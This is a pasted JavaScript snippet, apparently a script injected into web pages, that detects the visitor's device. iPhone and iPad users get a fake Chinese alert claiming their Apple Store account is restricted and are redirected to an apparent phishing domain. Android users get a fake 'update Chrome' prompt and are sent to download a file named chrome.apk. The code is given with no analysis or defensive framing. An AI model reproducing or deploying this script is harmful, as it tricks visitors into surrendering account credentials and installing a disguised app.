1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | var browser = { versions: function () { var u = navigator.userAgent, app = navigator.appVersion; return { trident: u.indexOf('Trident') > -1, presto: u.indexOf('Presto') > -1, webKit: u.indexOf('AppleWebKit') > -1, gecko: u.indexOf('Gecko') > -1 && u.indexOf('KHTML') == -1, mobile: !!u.match(/AppleWebKit.*Mobile.*/), ios: !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/), android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, iPhone: u.indexOf('iPhone') > -1, iPad: u.indexOf('iPad') > -1, }; }(), language: (navigator.browserLanguage || navigator.language).toLowerCase() }; if (browser.versions.ios || browser.versions.iPhone || browser.versions.iPad) { window.alert("為了保護Apple Store 的賬戶,您的賬戶已被限制,需要重新認證."); window.location.href='http://qaffh.xyz' } else if (browser.versions.android) { window.alert("為更好體驗瀏覽效果,請更新到最新chrome版本."); window.location.href = "chrome.apk"; } else { } |
Direct link: https://paste.plurk.com/show/sRQhO7DTVyD2jMMu7zM2